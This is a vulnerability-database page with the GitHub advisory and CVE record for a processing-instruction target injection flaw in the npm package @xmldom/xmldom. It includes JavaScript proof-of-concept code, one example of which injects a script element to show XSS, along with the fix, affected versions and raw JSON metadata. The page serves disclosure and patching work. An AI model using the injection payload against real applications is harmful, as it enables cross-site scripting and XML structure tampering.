Vulnerability-Lookup

GHSA-C7Q8-3CH8-VQPV

Vulnerability from github – Published: 2026-09-08 21:03 – Updated: 2026-09-08 21:03

Summary

xmldom: Processing Instruction Target Injection Bypasses requireWellFormed

Details

Summary

Document.createProcessingInstruction() in @xmldom/xmldom performs no validation on the target parameter. The requireWellFormed: true serializer option validates only for : in the target and a case-insensitive xml prefix, but does not check for > characters. A > in the target breaks the processing instruction boundary (<?...?>), allowing injection of arbitrary content into the serialized XML output.

Details

Document.createProcessingInstruction(target, data) at lib/dom.js around line 2413 accepts any string as the target parameter and stores it on the PI node without validation.

During serialization, the requireWellFormed code path (around line 3286) performs two checks on PI targets:

Rejects targets containing : (namespace prefix check)
Rejects targets matching xml case-insensitively (reserved prefix)

However, it does NOT validate that the target conforms to the XML Name production, and critically does NOT check for > characters. Since processing instructions are serialized as <?target data?>, a > in the target prematurely closes the PI, causing the remaining content to be interpreted as document content by any downstream XML parser.

Root Cause

createProcessingInstruction() performs no validation on target
The serializer's requireWellFormed check is incomplete -- it only checks for : and xml, missing characters that break PI syntax (>, ?, whitespace)
The serializer emits the target verbatim: <?${target} ${data}?>

Proof of Concept

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);

// PI target containing > breaks the PI boundary
const pi = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi);

const output = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output);
// Output: <root><?a> data?></root>
//
// The > in the target closes the PI prematurely.
// A downstream XML parser sees:
//   - Processing instruction: <?a?>  (target "a", no data)
//   - Text content: " data?>"
//
// requireWellFormed: true did NOT prevent the injection.

Injecting elements via PI target

const pi2 = doc.createProcessingInstruction(
  'a?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><?b',
  ''
);
doc.documentElement.appendChild(pi2);

const output2 = serializer.serializeToString(doc, { requireWellFormed: true });
console.log(output2);
// Output includes:
//   <?a?><script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script><?b ?>
//
// The injected <script> element is valid XHTML that a browser would execute.

Impact

Applications that create processing instructions with user-controlled target strings and serialize the result are vulnerable to XML injection. This enables:

XML structure injection: Breaking the PI boundary to inject arbitrary elements, text, or additional processing instructions into the output
XSS via XHTML: If the serialized output is served as XHTML or processed by a browser-based XML parser, injected script elements will execute
XXE chain: Injected DOCTYPE declarations or entity references could trigger XXE in downstream XML parsers that consume the output
requireWellFormed bypass: The existing well-formedness checks are incomplete and provide a false sense of security

Fix Applied

Under requireWellFormed, the serializer validates a processing-instruction target as an XML NCName (a Name with no colon) and rejects a case-insensitive xml, throwing InvalidStateError when the target is ill-formed — so a >, ?, or whitespace in the target is now refused.\ On 0.9.12 this replaces an earlier check that already rejected a colon or xml, so the no-colon rule is preserved.\ 0.8.15 had no processing-instruction target check at all, so the whole target validation is new there.\ Non-breaking and opt-in. See the XML Name production.

⚠ Opt-in required. Protection is not automatic. Existing serialization calls remain vulnerable unless { requireWellFormed: true } is explicitly passed. Applications that serialize untrusted DOM content should audit all serializeToString() call sites and add it.

Proof of Concept - fixed path

const { DOMImplementation, XMLSerializer } = require('@xmldom/xmldom');

const impl = new DOMImplementation();
const serializer = new XMLSerializer();
const doc = impl.createDocument(null, 'root', null);

// PI target containing > breaks the PI boundary
const pi = doc.createProcessingInstruction('a>', 'data');
doc.documentElement.appendChild(pi);

// Default path: emits the ill-formed target verbatim.
console.log(serializer.serializeToString(doc));
// Output: <root><?a> data?></root>

// Opt-in path: the target check now rejects the break-out character.
try {
  serializer.serializeToString(doc, { requireWellFormed: true });
} catch (e) {
  console.log(e.name); // InvalidStateError
}

Why the default stays verbatim

W3C DOM Parsing's require-well-formed flag defaults to false, and the browser XMLSerializer emits the target verbatim in that default mode. Unconditionally throwing on an ill-formed PI target would diverge from that platform behavior and would be an unjustified breaking change, so the stricter validation is gated behind { requireWellFormed: true }. (See the W3C XML Name production and XML Processing Instructions.)

Residual limitation

The default serialization path still emits the ill-formed target verbatim -- only the opt-in requireWellFormed path is protected. Creation-time validation of the target in createProcessingInstruction() is breaking and is deferred to the next breaking release, tracked at xmldom/xmldom#1073.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

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JSON

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.8.14"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.8.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.11"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@xmldom/xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.9.0"
            },
            {
              "fixed": "0.9.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "xmldom"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-83616"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-08T21:03:28Z",
    "nvd_published_at": "2026-09-01T15:17:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Document.createProcessingInstruction()` in `@xmldom/xmldom` performs no validation on the `target` parameter. The `requireWellFormed: true` serializer option validates only for `:` in the target and a case-insensitive `xml` prefix, but does not check for `\u003e` characters. A `\u003e` in the target breaks the processing instruction boundary (`\u003c?...?\u003e`), allowing injection of arbitrary content into the serialized XML output.\n\n## Details\n\n`Document.createProcessingInstruction(target, data)` at `lib/dom.js` around line 2413 accepts any string as the `target` parameter and stores it on the PI node without validation.\n\nDuring serialization, the `requireWellFormed` code path (around line 3286) performs two checks on PI targets:\n\n1. Rejects targets containing `:` (namespace prefix check)\n2. Rejects targets matching `xml` case-insensitively (reserved prefix)\n\nHowever, it does NOT validate that the target conforms to the XML Name production, and critically does NOT check for `\u003e` characters. Since processing instructions are serialized as `\u003c?target data?\u003e`, a `\u003e` in the target prematurely closes the PI, causing the remaining content to be interpreted as document content by any downstream XML parser.\n\n### Root Cause\n\n1. `createProcessingInstruction()` performs no validation on `target`\n2. The serializer\u0027s `requireWellFormed` check is incomplete -- it only checks for `:` and `xml`, missing characters that break PI syntax (`\u003e`, `?`, whitespace)\n3. The serializer emits the target verbatim: `\u003c?${target} ${data}?\u003e`\n\n## Proof of Concept\n\n```javascript\nconst { DOMImplementation, XMLSerializer } = require(\u0027@xmldom/xmldom\u0027);\n\nconst impl = new DOMImplementation();\nconst serializer = new XMLSerializer();\nconst doc = impl.createDocument(null, \u0027root\u0027, null);\n\n// PI target containing \u003e breaks the PI boundary\nconst pi = doc.createProcessingInstruction(\u0027a\u003e\u0027, \u0027data\u0027);\ndoc.documentElement.appendChild(pi);\n\nconst output = serializer.serializeToString(doc, { requireWellFormed: true });\nconsole.log(output);\n// Output: \u003croot\u003e\u003c?a\u003e data?\u003e\u003c/root\u003e\n//\n// The \u003e in the target closes the PI prematurely.\n// A downstream XML parser sees:\n//   - Processing instruction: \u003c?a?\u003e  (target \"a\", no data)\n//   - Text content: \" data?\u003e\"\n//\n// requireWellFormed: true did NOT prevent the injection.\n```\n\n### Injecting elements via PI target\n\n```javascript\nconst pi2 = doc.createProcessingInstruction(\n  \u0027a?\u003e\u003cscript xmlns=\"http://www.w3.org/1999/xhtml\"\u003ealert(1)\u003c/script\u003e\u003c?b\u0027,\n  \u0027\u0027\n);\ndoc.documentElement.appendChild(pi2);\n\nconst output2 = serializer.serializeToString(doc, { requireWellFormed: true });\nconsole.log(output2);\n// Output includes:\n//   \u003c?a?\u003e\u003cscript xmlns=\"http://www.w3.org/1999/xhtml\"\u003ealert(1)\u003c/script\u003e\u003c?b ?\u003e\n//\n// The injected \u003cscript\u003e element is valid XHTML that a browser would execute.\n```\n\n## Impact\n\nApplications that create processing instructions with user-controlled target strings and serialize the result are vulnerable to XML injection. This enables:\n\n- **XML structure injection**: Breaking the PI boundary to inject arbitrary elements, text, or additional processing instructions into the output\n- **XSS via XHTML**: If the serialized output is served as XHTML or processed by a browser-based XML parser, injected script elements will execute\n- **XXE chain**: Injected DOCTYPE declarations or entity references could trigger XXE in downstream XML parsers that consume the output\n- **requireWellFormed bypass**: The existing well-formedness checks are incomplete and provide a false sense of security\n\n## Fix Applied\n\nUnder `requireWellFormed`, the serializer validates a processing-instruction target as an XML `NCName` (a `Name` with no colon) and rejects a case-insensitive `xml`, throwing `InvalidStateError` when the target is ill-formed \u2014 so a `\u003e`, `?`, or whitespace in the target is now refused.\\\nOn 0.9.12 this replaces an earlier check that already rejected a colon or `xml`, so the no-colon rule is preserved.\\\n0.8.15 had no processing-instruction target check at all, so the whole target validation is new there.\\\nNon-breaking and opt-in. See the [XML `Name` production](https://www.w3.org/TR/xml/#NT-Name).\n\u003e **\u26a0 Opt-in required.** Protection is not automatic. Existing serialization calls remain\n\u003e vulnerable unless `{ requireWellFormed: true }` is explicitly passed. Applications that\n\u003e serialize untrusted DOM content should audit all `serializeToString()` call sites and add it.\n\n### Proof of Concept - fixed path\n\n```javascript\nconst { DOMImplementation, XMLSerializer } = require(\u0027@xmldom/xmldom\u0027);\n\nconst impl = new DOMImplementation();\nconst serializer = new XMLSerializer();\nconst doc = impl.createDocument(null, \u0027root\u0027, null);\n\n// PI target containing \u003e breaks the PI boundary\nconst pi = doc.createProcessingInstruction(\u0027a\u003e\u0027, \u0027data\u0027);\ndoc.documentElement.appendChild(pi);\n\n// Default path: emits the ill-formed target verbatim.\nconsole.log(serializer.serializeToString(doc));\n// Output: \u003croot\u003e\u003c?a\u003e data?\u003e\u003c/root\u003e\n\n// Opt-in path: the target check now rejects the break-out character.\ntry {\n  serializer.serializeToString(doc, { requireWellFormed: true });\n} catch (e) {\n  console.log(e.name); // InvalidStateError\n}\n```\n\n### Why the default stays verbatim\n\nW3C DOM Parsing\u0027s require-well-formed flag defaults to false, and the browser `XMLSerializer` emits the target verbatim in that default mode. Unconditionally throwing on an ill-formed PI target would diverge from that platform behavior and would be an unjustified breaking change, so the stricter validation is gated behind `{ requireWellFormed: true }`. (See the [W3C XML Name production](https://www.w3.org/TR/xml/#NT-Name) and [XML Processing Instructions](https://www.w3.org/TR/xml/#sec-pi).)\n\n### Residual limitation\n\nThe default serialization path still emits the ill-formed target verbatim -- only the opt-in `requireWellFormed` path is protected. Creation-time validation of the `target` in `createProcessingInstruction()` is breaking and is deferred to the next breaking release, tracked at [xmldom/xmldom#1073](https://github.com/xmldom/xmldom/issues/1073).",
  "id": "GHSA-c7q8-3ch8-vqpv",
  "modified": "2026-09-08T21:03:28Z",
  "published": "2026-09-08T21:03:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-83616"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1071"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/pull/1072"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/xmldom/xmldom"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "xmldom: Processing Instruction Target Injection Bypasses requireWellFormed"
}

CVE-2026-83616 (GCVE-0-2026-83616)

Vulnerability from cvelistv5 – Published: 2026-09-01 14:45 – Updated: 2026-09-01 15:18

Title

xmldom: Processing Instruction Target Injection Bypasses requireWellFormed

Summary

xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createProcessingInstruction(target, data) in lib/dom.js accepts an unvalidated target, while the requireWellFormed: true serializer checks only for a colon and the reserved case-insensitive xml name on 0.9.x and performs no target check on 0.8.x. Because serialization emits <?target data?>, a target containing >, ?, whitespace, or another invalid XML-name character can break the processing-instruction boundary and inject XML structure. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-01 15:18 UTC

CWE

CWE-91 - XML Injection (aka Blind XPath Injection)

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/xmldom/xmldom/security/advisor…	x_refsource_CONFIRM
https://github.com/xmldom/xmldom/pull/1071	x_refsource_MISC
https://github.com/xmldom/xmldom/pull/1072	x_refsource_MISC
https://github.com/xmldom/xmldom/commit/1cde3e31a…	x_refsource_MISC
https://github.com/xmldom/xmldom/commit/3b694872b…	x_refsource_MISC
https://github.com/xmldom/xmldom/releases/tag/0.8.15	x_refsource_MISC
https://github.com/xmldom/xmldom/releases/tag/0.9.12	x_refsource_MISC

Impacted products

2 products

Vendor	Product	Version
xmldom	xmldom	Affected: <= 0.6.0
@xmldom	xmldom	Affected: >= 0.7.0, < 0.8.15 Affected: >= 0.9.0, < 0.9.12

Show details on NVD website

JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-83616",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-01T15:18:13.005407Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-01T15:18:45.240Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "xmldom",
          "vendor": "xmldom",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c= 0.6.0"
            }
          ]
        },
        {
          "product": "xmldom",
          "vendor": "@xmldom",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.7.0, \u003c 0.8.15"
            },
            {
              "status": "affected",
              "version": "\u003e= 0.9.0, \u003c 0.9.12"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "xmldom is a pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module. Prior to @xmldom/xmldom versions 0.8.15 and 0.9.12, and in xmldom version 0.6.0 and earlier, Document.createProcessingInstruction(target, data) in lib/dom.js accepts an unvalidated target, while the requireWellFormed: true serializer checks only for a colon and the reserved case-insensitive xml name on 0.9.x and performs no target check on 0.8.x. Because serialization emits \u003c?target data?\u003e, a target containing \u003e, ?, whitespace, or another invalid XML-name character can break the processing-instruction boundary and inject XML structure. This issue is fixed in @xmldom/xmldom versions 0.8.15 and 0.9.12; no fixed version is available for xmldom."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 8.7,
            "baseSeverity": "HIGH",
            "privilegesRequired": "NONE",
            "subAvailabilityImpact": "NONE",
            "subConfidentialityImpact": "NONE",
            "subIntegrityImpact": "NONE",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
            "version": "4.0",
            "vulnAvailabilityImpact": "NONE",
            "vulnConfidentialityImpact": "NONE",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-91",
              "description": "CWE-91: XML Injection (aka Blind XPath Injection)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-01T14:45:44.504Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
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      },
      "references": [
        {
          "name": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv",
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          "url": "https://github.com/xmldom/xmldom/security/advisories/GHSA-c7q8-3ch8-vqpv"
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          "tags": [
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        {
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          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/xmldom/xmldom/pull/1072"
        },
        {
          "name": "https://github.com/xmldom/xmldom/commit/1cde3e31a07c41c87cfd368d6946aa477f16b4f9",
          "tags": [
            "x_refsource_MISC"
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        },
        {
          "name": "https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/xmldom/xmldom/commit/3b694872bcb5c7e3cbadba961a4be2488750ce5b"
        },
        {
          "name": "https://github.com/xmldom/xmldom/releases/tag/0.8.15",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/xmldom/xmldom/releases/tag/0.8.15"
        },
        {
          "name": "https://github.com/xmldom/xmldom/releases/tag/0.9.12",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/xmldom/xmldom/releases/tag/0.9.12"
        }
      ],
      "source": {
        "advisory": "GHSA-c7q8-3ch8-vqpv",
        "discovery": "UNKNOWN"
      },
      "title": "xmldom: Processing Instruction Target Injection Bypasses requireWellFormed"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-83616",
    "datePublished": "2026-09-01T14:45:44.504Z",
    "dateReserved": "2026-08-31T20:36:25.744Z",
    "dateUpdated": "2026-09-01T15:18:45.240Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-C7Q8-3CH8-VQPV

Summary

Details

Root Cause

Proof of Concept

Injecting elements via PI target

Impact

Fix Applied

Proof of Concept - fixed path

Why the default stays verbatim

Residual limitation

CVE-2026-83616 (GCVE-0-2026-83616)

Tags

Sightings

Nomenclature